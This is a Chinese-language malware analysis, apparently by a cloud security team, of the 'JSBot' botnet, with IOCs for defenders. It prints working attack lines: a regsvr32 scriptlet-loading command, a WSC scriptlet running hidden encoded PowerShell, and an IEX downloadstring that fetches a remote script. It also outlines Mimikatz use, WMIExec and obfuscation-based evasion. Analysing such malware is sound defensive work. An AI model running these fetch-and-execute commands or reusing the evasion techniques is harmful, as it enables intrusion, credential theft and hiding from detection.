概述
近日,阿里云安全监测到一种利用Javascript无文件技术实现C&C通信的新型僵尸网络,其核心交互无文件落盘并由JS加载下载Powershell脚本内存执行各类恶意操作,由于核心使用了WSC技术我们将其命名为JSBot。
阿里云安全专家分析发现,该僵尸网络利用永恒之蓝漏洞进行扫描入侵,通过WSC(Windows Scripting Component)技术下载并执行核心Powershell脚本,实现文件下载、上传、对外DDoS、挖矿、盗取密码等功能,对主机、用户资产危害极大。
阿里云安全持续对该BOT进行监控,发现近期传播有所上升,提醒广大用户注意防护。
传播手段
JSBOT通过MS17-010漏洞进行入侵和传播,利用WSC技术实现无文件化的维持和后续攻击,通过从云端下载经过编码的二进制文件,实现对外DDoS和挖矿行为,通过Powershell核心函数实现对失陷主机的下载、发送文件、WMIExec等功能。
阶段分析
详细分析
JSBot通过MS17-010漏洞入侵主机内部后,通过进行svchost.exe执行命令派生cmd进程。该命令从域名cat.xiaoshabi.nl下载一段XML文件,该文件使用JavaScript编写的COM组件WSC(Windows Scripting Component),由于脚本文件不能被编译,只能运行于Windows系统的脚本宿主机WSH(Windows Scripting Host)中,全程文件不落盘,这也给文件查杀、木马清理带来了难度。其执行的命令如下
C:\\Windows\\system32\\regsvR32.EXE /u/s/i:http://cat.xiaoshabi.nl/networks.xsl scrobj.dll
文件名为networks.xsl的XML文件内容如下,通过新建 ActiveXObject(“WScript.Shell”).Run(ps,0,true) 执行一段powershell经过Base64加密的脚本
<?XML version=”1.0”?>
<scriptlet>
<registration
progid="Test"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Learn from Casey Smith @subTee -->
<script language="JScript">
<![CDATA[
ps = “cmd.exe /c powershell.exe -nop -noni -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwBzAGkAeAAuAHgAaQBhAG8AagBpAGoAaQAuAG4AbAAvAG4AZQB0AHcAbwByAGsAcwAuAHAAcwAxACcAKQApAA==”;
new ActiveXObject(“WScript.Shell”).Run(ps,0,true);
]]>
</script>
</registration>
</scriptlet>
其中命令部分经base64解码后内容如下,JSBot从 six.xiaojiji.nl 域名下载进过混淆的脚本 networks.ps1
IEX ((new-object net.webclient).downloadstring('http://six.xiaojiji.nl/networks.ps1'))
networks.ps1包含三个参数,参数经过过base64或混淆
对文件进行解码后参数功能可以归结如下
$ffffff解码出的核心函数
函数Download_File,调用[System.IO.File]::WriteAllBytes(“$env:temp$Filename”, $temp)从失陷主机下载文件
函数RunDDOS,从 http://xxx.xxx.xxx.xxx/cohernece.txt 下载DDOS文件到C:\Windows\TEMP\cohernece.exe目录并执行
函数RunXMR,从 http://xxx.xxx.xxx.xxx/steam.txt 下载挖矿木马并执行
函数Get-creds,盗取内存中的秘钥
函数Scan,利用MS17-010对外进行扫描
整体解码后可以得到JSBot如下核心功能
$miiiiii参数解码二进制
Dll导出函数中包含powershell_reflective_mimikatz
文件中对该Mimikatz工具进行了集成
逃逸手段分析
JSBot为了规避检测在整体流程中采用了多种组合方式,其中比较典型的有以下几类
无文件内存化运行
JSBot通过regsvR32执行命令,调用scrobj.dll的DllInstall函数,将URL中所带的COM组件写入注册表中,由于脚本运行于Windows平台上的脚本宿主机WSH(Widnows Scripting Host),故文件可以不落盘。
C:\\Windows\\system32\\regsvR32.EXE /u/s/i:http://cat.xiaoshabi.nl/networks.xsl scrobj.dll
而在Powershell脚本中JSBot通过一系列函数在内存空间中将PE写入,同样实现了无文件落盘的操作,如图写内存函数
程序执行入口
JSBot使用WMIExec来远程执行命令,Windows系统默认不会在日志中记录这些操作,可以做到无日志,攻击脚本无需写入磁盘。
脚本多层多类型混淆
JSBot对核心函数做了两次混淆,核心功能在参数$ffffff中,同时针对Powershell使用了任意大小写、反引号、拼接等多种混淆手段,增加分析和检测难度。
二进制编码内存还原
JSBot从远程服务下载二进制时,对二进制文件进行了文本化,以逃避网络侧流量的检测,在脚本中再进行解码还原,如下为下载的DDoS木马。
Powershell中对二进制文件进行还原函数如下
IOC
IP
5.180.96.187
Domain
cat.dashabi.in
skt.dashabi.nl
safe.lxb.monster
cat.xiaojiji.nl
skt.xiaojiji.nl
sec.xiaojiji.nl
URL
hxxp://cat.dashabi.in/networks.xsl
hxxp://sec.dashabi.in/javaw2/net/net.xsl
hxxp://sec.dashabi.in/javaw2/instance.xsl
hxxp://skt.dashabi.nl/networks.xsl
hxxp://cat.xiaojiji.nl/cohernece.txt
hxxp://cat.xiaojiji.nl/sys.txt
hxxp://skt.xiaojiji.nl/ver.txt
hxxp://cat.xiaojiji.nl/access.txt
hxxp://cat.xiaojiji.nl/monhash.txt
hxxp://cat.xiaojiji.nl/net/net.xsl
hxxp://cat.xiaojiji.nl/minhash.txt
hxxp://cat.xiaojiji.nl/nssmhash.txt
hxxp://cat.xiaojiji.nl/uas.txt
hxxp://cat.xiaojiji.nl/nssm.txt
hxxp://cat.xiaojiji.nl/ver.txt
hxxp://cat.xiaojiji.nl/min.txt
hxxp://cat.xiaojiji.nl/mon.txt
hxxp://sec.xiaojiji.nl/javaw2/instance.ps1
hxxp://sec.xiaojiji.nl/javaw2/javaw
hxxp://sec.xiaojiji.nl/javaw2/WinRing0x64.sys
hxxp://cat.xiaojiji.nl/networks.ps1
hxxp://cat.xiaojiji.nl/networks.xsl
hxxp://cat.xiaojiji.nl:80/net/net.xsl
hxxp://sec.xiaojiji.nl/javaw2/net/net.xsl
hxxp://six.xiaojiji.nl/networks.ps1
hxxp://six.xiaojiji.nl/networks.xsl
hxxp://skt.xiaojiji.nl/list.ps1
hxxp://skt.xiaojiji.nl/networke.ps1
hxxp://skt.xiaojiji.nl/networke.xsl
hxxp://skt.xiaojiji.nl/networks.ps1
hxxp://skt.xiaojiji.nl/networks.xsl
hxxp://safe.lxb.monster/networke.xsl
hxxp://safe.lxb.monster/networks.xsl
MD5
fdf5976964d0c42e4f5b490a2a7dd0c6
8c26218931c743a36987e07af7fc35f4
0ef5da9757386de38b1eb20e1ba0dc45
发表评论
您还未登录,请先登录。
登录